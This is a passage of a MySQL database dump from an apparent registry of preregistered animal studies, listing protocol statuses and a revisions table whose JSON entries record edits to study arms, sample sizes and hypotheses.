	(205,1185,'published','2020-08-06 00:00:07','2020-08-06 00:00:07'),
	(206,1278,'published','2020-08-18 11:48:39','2020-08-18 11:48:39'),
	(207,1278,'published','2020-08-18 12:05:56','2020-08-18 12:05:56'),
	(208,1291,'published','2020-08-27 00:14:26','2021-07-22 09:17:08'),
	(209,1300,'published','2020-09-04 10:31:23','2021-05-03 10:10:46'),
	(210,1300,'published','2020-09-04 11:20:52','2021-04-23 11:51:51'),
	(211,1302,'published','2020-09-04 12:18:19','2020-09-04 12:18:19'),
	(212,1300,'published','2020-09-07 08:34:15','2021-04-23 11:51:58'),
	(213,1335,'published','2020-09-29 09:23:36','2021-09-07 09:38:56'),
	(214,860,'published','2020-10-26 17:37:09','2020-10-26 17:37:09'),
	(215,1427,'draft','2020-11-10 19:14:16','2020-11-10 19:14:16'),
	(216,717,'published','2020-11-17 15:51:19','2020-11-17 15:51:19'),
	(217,1449,'published','2020-11-23 14:12:00','2020-11-23 14:12:00'),
	(218,522,'published','2020-11-30 17:53:59','2021-06-24 17:35:47'),
	(219,1030,'published','2020-12-04 18:29:24','2020-12-04 18:29:24'),
	(220,1477,'draft','2020-12-09 11:26:09','2021-07-28 18:30:25'),
	(221,1487,'draft','2020-12-21 10:50:19','2020-12-21 10:50:19'),
	(222,1527,'published','2021-01-19 18:48:30','2021-10-29 17:38:57'),
	(223,1539,'draft','2021-01-26 12:22:31','2021-01-26 12:22:31'),
	(225,1588,'draft','2021-02-26 11:17:34','2021-02-26 11:17:34'),
	(227,30,'draft','2021-03-12 14:18:34','2021-03-12 14:18:34'),
	(228,30,'draft','2021-03-12 14:29:43','2021-03-12 14:29:43'),
	(229,30,'draft','2021-03-12 14:45:18','2021-03-12 14:45:18'),
	(230,30,'draft','2021-03-12 14:57:00','2021-03-12 14:57:00'),
	(232,30,'draft','2021-03-12 16:45:56','2021-03-12 16:45:56'),
	(233,1612,'published','2021-03-26 00:15:43','2021-04-19 15:09:37'),
	(234,1623,'published','2021-04-02 11:31:34','2021-04-21 16:26:51'),
	(235,1618,'draft','2021-04-03 10:58:15','2021-04-03 10:59:10'),
	(236,1632,'draft','2021-04-08 23:32:32','2021-04-08 23:32:32'),
	(237,1300,'published','2021-04-23 12:09:39','2021-05-03 10:12:28'),
	(238,1277,'published','2021-05-02 13:43:56','2021-05-07 09:35:44'),
	(239,1659,'published','2021-05-18 11:55:59','2021-08-30 09:57:40'),
	(240,1615,'published','2021-05-19 07:29:18','2021-07-02 08:58:48'),
	(241,1660,'draft','2021-05-21 12:50:10','2021-05-21 12:50:10'),
	(242,1658,'published','2021-06-02 14:22:12','2021-06-21 18:07:03'),
	(243,1673,'draft','2021-06-20 16:32:35','2021-06-20 16:32:37'),
	(244,522,'published','2021-07-03 09:09:59','2021-12-20 10:09:13'),
	(246,1696,'published','2021-08-02 04:57:58','2021-08-16 10:50:52'),
	(247,1700,'published','2021-08-04 13:42:16','2021-09-24 08:52:37'),
	(248,1705,'published','2021-08-18 09:47:07','2021-09-03 10:21:42'),
	(249,507,'published','2021-08-18 21:25:14','2022-03-31 10:52:26'),
	(251,1712,'published','2021-08-30 13:59:07','2021-09-14 15:04:56'),
	(252,1707,'published','2021-09-01 14:40:38','2021-11-03 11:50:39'),
	(253,1712,'published','2021-09-02 14:01:27','2021-09-14 15:05:55'),
	(254,1715,'published','2021-09-05 16:25:30','2021-09-30 16:35:49'),
	(255,1335,'published','2021-09-07 10:34:55','2021-09-22 08:44:06'),
	(256,1718,'published','2021-09-09 14:35:21','2021-10-04 14:22:43'),
	(257,1718,'published','2021-09-10 16:30:47','2021-10-04 14:24:33'),
	(258,1718,'published','2021-09-20 18:42:38','2021-10-07 14:57:13'),
	(259,1715,'published','2021-09-25 12:15:15','2021-09-30 16:36:20'),
	(260,1717,'draft','2021-09-30 20:24:38','2021-09-30 21:32:16'),
	(263,1718,'draft','2021-10-09 01:32:45','2021-10-09 02:19:29'),
	(264,1718,'published','2021-10-09 05:24:24','2021-10-19 10:48:58'),
	(265,1743,'published','2021-10-10 10:24:58','2022-03-24 13:41:53'),
	(266,1740,'published','2021-10-11 19:14:09','2021-10-28 16:42:36'),
	(267,1,'draft','2021-10-18 10:25:05','2021-10-18 10:25:05'),
	(268,1571,'draft','2021-10-18 10:41:26','2021-10-18 10:41:26'),
	(269,717,'published','2021-10-19 12:15:20','2021-10-19 13:51:17'),
	(270,507,'published','2021-10-26 18:25:21','2022-03-25 08:50:37'),
	(271,1718,'published','2021-10-28 18:41:22','2021-10-29 17:42:59'),
	(272,1638,'published','2021-11-01 15:50:35','2021-11-03 11:38:15'),
	(273,1571,'draft','2021-11-15 16:45:57','2021-11-15 16:45:57'),
	(274,1754,'rejected','2021-11-21 23:24:51','2021-11-21 23:25:31'),
	(275,1766,'draft','2021-11-24 14:10:41','2021-11-24 14:10:41'),
	(276,1779,'published','2021-12-13 19:27:57','2021-12-22 09:45:22'),
	(277,1793,'published','2022-01-28 05:23:07','2022-03-31 10:53:03'),
	(278,1790,'draft','2022-01-31 21:52:56','2022-03-24 13:43:44'),
	(279,1797,'draft','2022-02-04 11:29:26','2022-02-04 11:29:26'),
	(280,1787,'published','2022-02-07 00:04:19','2022-02-08 13:32:19'),
	(281,1820,'draft','2022-03-10 09:50:07','2022-03-28 14:37:32'),
	(282,891,'draft','2022-03-16 18:21:37','2022-03-16 18:21:37'),
	(283,1718,'published','2022-03-18 05:48:25','2022-03-31 14:12:19'),
	(284,1828,'published','2022-03-19 13:03:33','2022-03-25 09:20:59'),
	(285,1700,'published','2022-03-24 10:46:58','2022-03-31 14:19:24'),
	(286,1834,'draft','2022-03-26 13:05:50','2022-03-28 13:49:07'),
	(287,1833,'published','2022-03-29 11:13:11','2022-03-31 14:30:02'),
	(288,1835,'draft','2022-03-30 14:21:37','2022-03-30 14:21:37');

/*!40000 ALTER TABLE `protocols` ENABLE KEYS */;
UNLOCK TABLES;


# Dump of table revisions
# ------------------------------------------------------------

DROP TABLE IF EXISTS `revisions`;

CREATE TABLE `revisions` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `protocol_id` bigint(20) unsigned NOT NULL,
  `changes` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `revisions_protocol_id_foreign` (`protocol_id`),
  CONSTRAINT `revisions_protocol_id_foreign` FOREIGN KEY (`protocol_id`) REFERENCES `protocols` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

LOCK TABLES `revisions` WRITE;
/*!40000 ALTER TABLE `revisions` DISABLE KEYS */;

INSERT INTO `revisions` (`id`, `protocol_id`, `changes`, `created_at`, `updated_at`)
VALUES
	(121,98,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"16\",\"intervention\":\"Control mice consisting of PBS intratracheal instillation \"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"ALI mice from LPS intratracheal instillation \"}],\"new_value\":[{\"type\":\"control\",\"number\":\"16\",\"intervention\":\"Control mice consisting of PBS intratracheal instillation \"},{\"type\":\"intervention\",\"number\":\"24\",\"intervention\":\"ALI mice from LPS intratracheal instillation \"}]},{\"key\":\"intervention_type\",\"old_value\":\"other\",\"new_value\":\"model_optimalisation\"},{\"key\":\"other_intervention_type\",\"old_value\":\"No intervention\",\"new_value\":\"LPS intratracheal instillation\"}]','2017-09-29 13:10:15','2017-09-29 13:10:15'),
	(122,105,'[{\"key\":\"contact_role\",\"old_value\":\"Executieve researcher\",\"new_value\":\"Executive researcher\"}]','2017-11-15 09:14:30','2017-11-15 09:14:30'),
	(123,105,'[{\"key\":\"intervention_type\",\"old_value\":\"application_method\",\"new_value\":\"retention\"},{\"key\":\"study_status\",\"old_value\":\"active\",\"new_value\":\"study_interrupted\"}]','2017-12-18 10:32:19','2017-12-18 10:32:19'),
	(124,114,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"A: n=16 SFC in cranial deep neck, n=16 SFSB in caudal deep neck\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"B: n=16 SFSB in caudal deep neck, n=16 SFC in cranial deep neck\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"A\",\"intervention\":\"A: For this group of 16 sheep the SFC procedure will be performed in the cranial deep neck and the SFSB in the caudal deep neck\"},{\"type\":\"intervention\",\"number\":\"B\",\"intervention\":\"B: For this group of 16 sheep the SFSB technique will be performed in the cranial deep neck and the SFC technique in the caudal deep neck\"}]}]','2018-04-30 08:18:33','2018-04-30 08:18:33'),
	(125,121,'[{\"key\":\"experimental_design\",\"old_value\":\"Myocardial infarction induction due to occlusion (90min) \",\"new_value\":\"Myocardial infarction induction due to occlusion(90min) of a branching LAD. Occlusion will take place by making use of a balloon Cather that will be inserted via the carotis dextra. Prior to the 90min occlusion there will be pre-conditioning of 3x 5minutes.\"},{\"key\":\"exclusive_animal_use\",\"old_value\":\"yes\",\"new_value\":\"no\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: The effects (Electrical, structural and mechanical) of stem cell therapy (with\\/without help of microspheres) after a myocardial infarction. \\n\\nElectrical: In situ electrical mapping + Langendorff electrical mapping: 4 weeks after treatment\\nStructural: detection of stem cells, fibrosis and scar size: 4 weeks after treatment\\nMechanical: Echos will be performed before induction of the infarction, after the induction of the infarction but before treatment and four weeks after treatment.\",\"new_value\":\"Efficacy: The effects (Electrical, structural and mechanical) of stem cell therapy (with\\/without help of microspheres) after a myocardial infarction. All end points where determined 4 weeks after MI induction. Stem cell therapy was given directly after MI induction\\n\\nElectrical: In situ electrical mapping + Langendorff electrical mapping:  conduction velocity and inducibility of arrhythmias. Signals are recorded as unipolar extracellular electrograms.\\n\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"In a subset of the animals we want to validate the  inverse technique. Within an other project the inverse technique has been validated for normal (pig)heart (without deviations). Thanks to this project, the inverse technique has been further optimized. The sequel to this project is to see if this inverse technique can also be applied to sick hearts. \",\"new_value\":\"Structural: detection of stem cells, fibrosis and scar size\\nMechanical: Echos will be performed before induction of the infarction, after the induction of the infarction but before treatment and four weeks after treatment: LVEF, EDV and ESV.\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Based on results from in vitro studies we see that addition of stem cells leads to conduction slowing. This effect of conduction slowing disappeared when the stem cells where attached to the collagen microspheres. Tased on our in vitro data we calculated the sample size for these animal experiments:\\nConduction slowing: a difference of 44% with a spread of 30% was measured. With an alpha of 0.05 and a power of 0.80 this results in a group size of 8 animals per group.\\n\\nWe think that the differences in vivo will be smaller than in vitro and think that with a group size of 10 animals per group, we can show the differences. \\n\\nTaking into account the expected drop-out at 20% (previous experience with this model) which is 2 to 3 pigs per group and a thus a possible loss of up to 12 pigs. We therefore want to request a total of 52 animals ((4*10)+12).\\n\",\"new_value\":\"Based on results from in vitro studies we see that addition of stem cells leads to conduction slowing. This effect of conduction slowing disappeared when the stem cells were attached to the collagen microspheres. Based on our in vitro data we calculated the sample size for these animal experiments:\\nConduction slowing: a difference of 44% with a spread of 30% was measured. With an alpha of 0.05 and a power of 0.80 this results in a group size of 8 animals per group.\\n\\nWe think that the differences in vivo will be smaller than in vitro and think that with a group size of 10 animals per group, we can show the differences. \\n\\nTaking into account the expected drop-out at 20% (previous experience with this model) which is 2 to 3 pigs per group and a thus a possible loss of up to 12 pigs. We therefore want to request a total of 52 animals ((4*10)+12).\\n\"},{\"key\":\"no_exclusive_animal_use_details\",\"old_value\":\"\",\"new_value\":\"Within an other project the inverse technique (determining electrical activation and repolarizatiom of the heart in a noninvasive way) has been validated for normal (pig)heart (without deviations) however not in a comprised\\/sick heart. In a subset of the animals (those receiving saline, n=10) we want to validate the inverse technique.\\nThese additional measurements are not excepted to not influence the outcome of the main project. \"}]','2018-05-14 10:54:49','2018-05-14 10:54:49'),
	(126,121,'[{\"key\":\"no_exclusive_animal_use_details\",\"old_value\":\"Within an other project the inverse technique (determining electrical activation and repolarizatiom of the heart in a noninvasive way) has been validated for normal (pig)heart (without deviations) however not in a comprised\\/sick heart. In a subset of the animals (those receiving saline, n=10) we want to validate the inverse technique.\\nThese additional measurements are not excepted to not influence the outcome of the main project. \",\"new_value\":\"Within an other project the inverse technique (determining electrical activation and repolarizatiom of the heart in a noninvasive way) has been validated for normal (pig)heart (without deviations) however not in a comprised\\/sick heart. In a subset of the animals (those receiving saline, n=10) we want to validate the inverse technique.\\nThese additional measurements are not excepted to influence the outcome of the main project. \"}]','2018-05-14 11:30:47','2018-05-14 11:30:47'),
	(127,121,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"1\",\"intervention\":\"Myocardial infarction + Saline infusion\"},{\"type\":\"intervention\",\"number\":\"2\",\"intervention\":\"Myocardial infarction + stem cells\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Myocardial infarction + microspheres\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"Myocardial infarction + stem cells + microspheres\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Myocardial infarction + Saline infusion\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Myocardial infarction + stem cells\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Myocardial infarction + microspheres\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Myocardial infarction + stem cells + microspheres\"}]}]','2018-05-14 15:12:58','2018-05-14 15:12:58'),
	(128,125,'[{\"key\":\"experimental_design\",\"old_value\":\"L-NAME-induced hypertension (treated for 10 weeks, once-daily, with 30\\u2009mg\\/kg of L-NAME by oral administration)\",\"new_value\":\"The treatment with L-NAME consisted on a dose of 30 mg of L-NAME\\/kg body weight\\/day dissolved in the drinking water\\n\\nThe treatment with losartan metabolites EXP3179 or EXP3174 consisted in a daily oral administration dose of 5 mg\\/kg body weight\\/day using gavage for 10 weeks\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Wistar\"},{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"Wistar + vehicle\"},{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"Wistar + EXP3174\"},{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"Wistar + EXP3179\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Wistar + L-NAME\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"Wistar + L-NAME + EXP3174\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"Wistar + L-NAME + EXP3179\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"Vehicle\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"EXP3174\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"EXP3179\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"L-NAME + vehicle\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"L-NAME + EXP3174\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"L-NAME + EXP3179\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"}]},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Effect on oxidative stress and myocardial remodelling of Losartan metabolites EXP3174 and EXP3179\",\"new_value\":\"Efficacy: Effect on myocardial remodelling of Losartan metabolites EXP3174 and EXP3179\\nCardiac structure and function was assessed by echocardiography (Vevo 770 ultrasound system)\\nMyocardial fibrosis was determined as the collagen volume fraction, assessed histologically by pricosirius red staining\\nMyocardial collagen cross-linking was evaluated as the ratio of insoluble and soluble collagen\\nMyocardial CTGF, PCP, PCPE and LOX expression were assessed by real-time PCR and western blot\"},{\"key\":\"other_species\",\"old_value\":\"made hypertensive by the administration of L-NAME\",\"new_value\":\"Wistar rats made hypertensive by the administration of L-NAME\"},{\"key\":\"sum_of_animals\",\"old_value\":\"TOTAL 90\\nForty-five 10-week-old male Wistar rats were treated for 10 weeks, once-daily, with 30\\u2009mg\\/kg of L-NAME by oral administration, a dose sufficient to induce arterial hypertension and 45 untreated rats were considered as controls. Fifteen animals in each group were co-treated, once-daily, with either vehicle, EXP3179 or EXP3174 by oral administration. EXP3174 was administered at 5\\u2009mg\\/kg\\/day, a dose resulting in circulating metabolite levels similar to those found in patients chronically treated with losartan33,44. EXP3179 was administered at the same dose. Blood pressure (BP) was assessed in five animals from each group by radiotelemetry monitoring.\",\"new_value\":\"TOTAL 90\\nTen weeks old male Wistar rats were assigned into six groups of 15 animals each: (1) control group receiving the vehicle solution (vehicle), (2) control group treated with EXP3179 (EXP3179), (3) control group treated with EXP3174 (EXP3174), (4) hypertensive group treated with L-NAME (L-NAME), (5) L-NAME treated rats subjected to simultaneous treatment with EXP3179 (L-NAME+EXP3179), and (6) L-NAME treated rats subjected to simultaneous treatment with EXP3174 (L-NAME+EXP3174).\"},{\"key\":\"why_no_randomisation\",\"old_value\":\"\",\"new_value\":\"Animals received in a batch and allocated to the experimental groups randomly (but without a specific method)\"}]','2018-07-05 17:06:49','2018-07-05 17:06:49'),
	(129,128,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"sham\",\"number\":\"15\",\"intervention\":\"Saline-treated, water-exposed animals\"},{\"type\":\"sham\",\"number\":\"15\",\"intervention\":\"Saline-treated, ethanol-exposed animals\"},{\"type\":\"other\",\"number\":\"15\",\"intervention\":\"Aminoguanidine-treated, water-exposed animals\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"Aminoguanidine-treated, ethanol-exposed animals\"}],\"new_value\":[{\"type\":\"sham\",\"number\":\"15\",\"intervention\":\"[Experiment 2] Saline-treated, water-exposed animals\"},{\"type\":\"sham\",\"number\":\"15\",\"intervention\":\"[Experiment 2] Saline-treated, ethanol-exposed animals\"},{\"type\":\"other\",\"number\":\"15\",\"intervention\":\"[Experiment 2] Aminoguanidine-treated, water-exposed animals\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"[Experiment 2] Aminoguanidine-treated, ethanol-exposed animals\"},{\"type\":\"control\",\"number\":\"83\",\"intervention\":\"[Experiment 1] Water-exposed animals\"},{\"type\":\"other\",\"number\":\"83\",\"intervention\":\"[Experimento 1] Ethanol-exposed animals\"}]},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Efficacy based on reduction of anxiety-like behavior after treatment\",\"new_value\":\"Efficacy: Efficacy based on reduction of anxiety-like behavior after treatment. \\nAnxiety-like behavior will be measured using the novel tank test (Egan et al., 2009). Primary endpoint in this test is time spent on the bottom of the tank; auxiliary endpoints will be frequency of erratic swimming, frequency and duration of freezing events, total locomotion, and homebase behavior.\"}]','2018-08-14 14:45:32','2018-08-14 14:45:32'),
	(130,129,'[{\"key\":\"investigators_blinded_assessment\",\"old_value\":\"researchers_performing_measurements_f_e_g_blood_gas_analyses_protein_and_cytokine_measurement_in_biological_samples_and_the_statistician_performing_analyses_will_be_blinded\",\"new_value\":\"researchers_performing_measurements_f_e_g_blood_gas_analyses_protein_and_cytokine_measurement_in_biological_samples_histology_and_the_statistician_performing_analyses_will_be_blinded\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"Intravenous sedation with propofol in pigs without lung injury\"},{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"Intravenous sedation with propofol in pigs with acid-induced lung injury\"},{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"Inhaled sedation with sevoflurane in pigs with acid-induced lung injury\"}],\"new_value\":[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"Intravenous sedation with propofol in pigs without lung injury\"},{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"Intravenous sedation with propofol in pigs with acid-induced lung injury\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Inhaled sedation with sevoflurane in pigs with acid-induced lung injury\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Inhaled sedation with isoflurane in pigs with acid-induced lung injury\"}]},{\"key\":\"hypothesis\",\"old_value\":\"Acute Respiratory Distress Syndrome (ARDS)\\r\\n\\r\\nBased on available data from experimental ARDS studies, inhaled sedation with halogenated agent sevoflurane may be associated with beneficial effects on the injured lung. However, the mechanisms of sevoflurane in lung injury remain largely under-investigated.\\n\\nHere we hypothesize that sevoflurane may exert beneficial effects on lung injury and alveolar fluid clearance in acid-induced ARDS in pigs, through pathways that could be mediated by the receptor for advanced glycation end-products (RAGE).\",\"new_value\":\"Acute Respiratory Distress Syndrome (ARDS)\\r\\n\\r\\nBased on available data from experimental ARDS studies, inhaled sedation with halogenated agents may be associated with beneficial effects on the injured lung.\\nHowever, the mechanisms of sevoflurane or isoflurane in lung injury remain largely under-investigated.\\n\\nHere we hypothesize that sevoflurane and\\/or isoflurane may exert beneficial effects on lung injury and alveolar fluid clearance in acid-induced ARDS in pigs, through pathways that could be mediated by the receptor for advanced glycation end-products (RAGE). Our study aims at addressing the respective effects of sevoflurane and isoflurane on lung injury differences and potential differences between these halogenated agents.\"},{\"key\":\"hypothesis\",\"old_value\":\"Based on available data from experimental ARDS studies, inhaled sedation with halogenated agent sevoflurane may be associated with beneficial effects on the injured lung. However, the mechanisms of sevoflurane in lung injury remain largely under-investigated.\\n\\nHere we hypothesize that sevoflurane may exert beneficial effects on lung injury and alveolar fluid clearance in acid-induced ARDS in pigs, through pathways that could be mediated by the receptor for advanced glycation end-products (RAGE).\",\"new_value\":\"Based on available data from experimental ARDS studies, inhaled sedation with halogenated agents may be associated with beneficial effects on the injured lung.\\nHowever, the mechanisms of sevoflurane or isoflurane in lung injury remain largely under-investigated.\\n\\nHere we hypothesize that sevoflurane and\\/or isoflurane may exert beneficial effects on lung injury and alveolar fluid clearance in acid-induced ARDS in pigs, through pathways that could be mediated by the receptor for advanced glycation end-products (RAGE). Our study aims at addressing the respective effects of sevoflurane and isoflurane on lung injury differences and potential differences between these halogenated agents.\"},{\"key\":\"other_intervention_type\",\"old_value\":\"Inhaled Sedation with Sevoflurane\",\"new_value\":\"Inhaled Sedation with Sevoflurane or Isoflurane\"},{\"key\":\"title\",\"old_value\":\"Effects of inhaled sevoflurane on lung injury and alveolar fluid clearance in a porcine model of acid-induced acute respiratory distress syndrome: a randomized experimental study\",\"new_value\":\"Effects of inhaled sevoflurane and isoflurane on lung injury and alveolar fluid clearance in a porcine model of acid-induced acute respiratory distress syndrome: a randomized experimental study\"},{\"key\":\"sum_of_animals\",\"old_value\":\"18\",\"new_value\":\"24\"}]','2018-08-24 12:52:32','2018-08-24 12:52:32'),
	(131,135,'[{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Alpha = 0,05 beta = 0,2 - 0,75. minimal detectable difference = 200.000- 500.000 cellen\\/ml. expected number of drop-outs = 0 https:\\/\\/www.dropbox.com\\/s\\/o9lodne2i7wimp0\\/20181011%20Geupdate%20Poweranalyse%20Mastivax%20mastitis%20experiment.pdf?dl=0 \",\"new_value\":\"Alpha = 0,05 beta = 0,2 - 0,75. minimal detectable difference = 200.000- 500.000 cells\\/ml. expected number of drop-outs = 0 https:\\/\\/www.dropbox.com\\/s\\/o9lodne2i7wimp0\\/20181011%20Geupdate%20Poweranalyse%20Mastivax%20mastitis%20experiment.pdf?dl=0 \"},{\"key\":\"title\",\"old_value\":\"Effectiviteit van een antibioticavrije behandeling van lacterende koeien met subklinische uierontsteking\",\"new_value\":\"Effectivity of antibiotic-free treatment of lactating cows with subclinical mastitis\"}]','2018-10-15 11:29:59','2018-10-15 11:29:59'),
	(132,132,'[{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"active\"}]','2018-10-22 22:38:49','2018-10-22 22:38:49'),
	(133,128,'[{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"active\"}]','2018-11-01 15:36:20','2018-11-01 15:36:20'),
	(134,132,'[{\"key\":\"secondary_readout_parameter\",\"old_value\":\"Animals in the safeREBOA group, compared to the control, exhibit \\n1.\\tLess CPR-time (if no ROSC CPR-time is 32 minutes)\\n2.\\tHigher carotid flow (at 4th minutes after initiation of LUCAS)\\n3.\\tHigher CPP (at 4th minutes after initiation of LUCAS)\\n4.\\tStable ICP (at 4th minutes after initiation of LUCAS)\\n5.\\tBetter microdialysis values (post hoc analysis)\\n6.\\tHigher cerebral oxygen tension (at 4th minutes after initiation of LUCAS)\\n7.\\tLess mitochondrial dysfunction (post hoc analysis)\\n8.\\tLess oxidative stress (post hoc analysis)\\n9.\\tHigher NIRS values (at 4th minutes after initiation of LUCAS)\\n10.\\tLower values of biomarkers for cell damage of the brain. (post hoc analysis)\\n11.\\tLower change in lactate, oxygen- and carbon dioxide tension between arterial and venous blood gas (at termination of CPR)\",\"new_value\":\"Animals in the safeREBOA group, compared to the control, exhibit \\n\\n1.\\tLess CPR-time (if no ROSC CPR-time is 32 minutes)\\n\\n2.\\tHigher carotid flow (at 4th minutes after initiation of LUCAS)\\n\\n3.\\tHigher CPP (at 4th minutes after initiation of LUCAS)\\n\\n4.\\tStable ICP (at 4th minutes after initiation of LUCAS)\\n\\n5.\\tBetter microdialysis values (post hoc analysis)\\n\\n6.\\tHigher cerebral oxygen tension (at 4th minutes after initiation of LUCAS)\\n\\n7.\\tLess mitochondrial dysfunction (post hoc analysis)\\n\\n8.\\tLess oxidative stress (post hoc analysis)\\n\\n9.\\tHigher NIRS values (at 4th minutes after initiation of LUCAS)\\n\\n10.\\tLower values of biomarkers for cell damage of the brain. (post hoc analysis)\\n\\n11.\\tLower change in lactate, oxygen- and carbon dioxide tension between arterial and venous blood gas (at termination of CPR)\\n\\n12. Higher PbtO2-values (at 4th minutes after initiation of LUCAS) [was initially in the protocol but missed in this submission, 06.11.18]\"}]','2018-11-06 13:09:36','2018-11-06 13:09:36'),
	(135,137,'[{\"key\":\"short_title\",\"old_value\":\"Various Oxygen Concentrations during Cardiopulmonary Resuscitation of Asphyxiated Piglets\",\"new_value\":\"Various Oxygen Concentrations during Cardiopulmonary Resuscitation of Asphyxiated Piglets using 3:1 Compression:Ventilation ratio\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"18% oxygen\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"21% oxygen\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"100% oxygen\"}],\"new_value\":[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"18% oxygen using 3:1 C:V\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"21% oxygen using 3:1 C:V\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"100% oxygen using 3:1 C:V\"}]}]','2019-01-05 03:31:07','2019-01-05 03:31:07'),
	(136,138,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"18% oxygen\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"21% oxygen\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"100% oxygen\"}],\"new_value\":[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"18% oxygen using CC+SI\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"21% oxygen using CC+SI\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"100% oxygen using CC+SI\"}]},{\"key\":\"title\",\"old_value\":\"Various Oxygen Concentrations using Sustained Inflation during Cardiopulmonary Resuscitation of Asphyxiated Newborn Piglets\",\"new_value\":\"Various Oxygen Concentrations during Cardiopulmonary Resuscitation of Asphyxiated Newborn Piglets with Chest Compression during Sustained Inflation (CC+SI)\"}]','2019-01-05 03:33:52','2019-01-05 03:33:52'),
	(137,142,'[{\"key\":\"yes_blinded_intervention_partially_details\",\"old_value\":\"No\",\"new_value\":\"Yes\"},{\"key\":\"application_number\",\"old_value\":\"Project number: 55-2017, approved 7th Feb 2018\",\"new_value\":\"Project number: 55-2017, approved 7th Feb 2018 (AHT)\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"80\",\"intervention\":\"standard medical therapy alone.\"},{\"type\":\"intervention\",\"number\":\"80\",\"intervention\":\"PACK-CXL + standard medical therapy.\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"135\",\"intervention\":\"standard medical therapy alone.\"},{\"type\":\"intervention\",\"number\":\"135\",\"intervention\":\"PACK-CXL \"}]},{\"key\":\"hypothesis\",\"old_value\":\"Alternative\\/adjunctive treatment for infectious keratitis (melting keratitis, melting corneal ulcer, stromal corneal ulcer) in cannine patients.\\r\\n\\r\\nWe hypothesize that compared to standard treatment alone, the combination of PACK-CXL and medical treatment will be more effective at stabilizing the corneal stroma in cases of melting ulcers in dogs and therefore minimize the number of surgical interventions 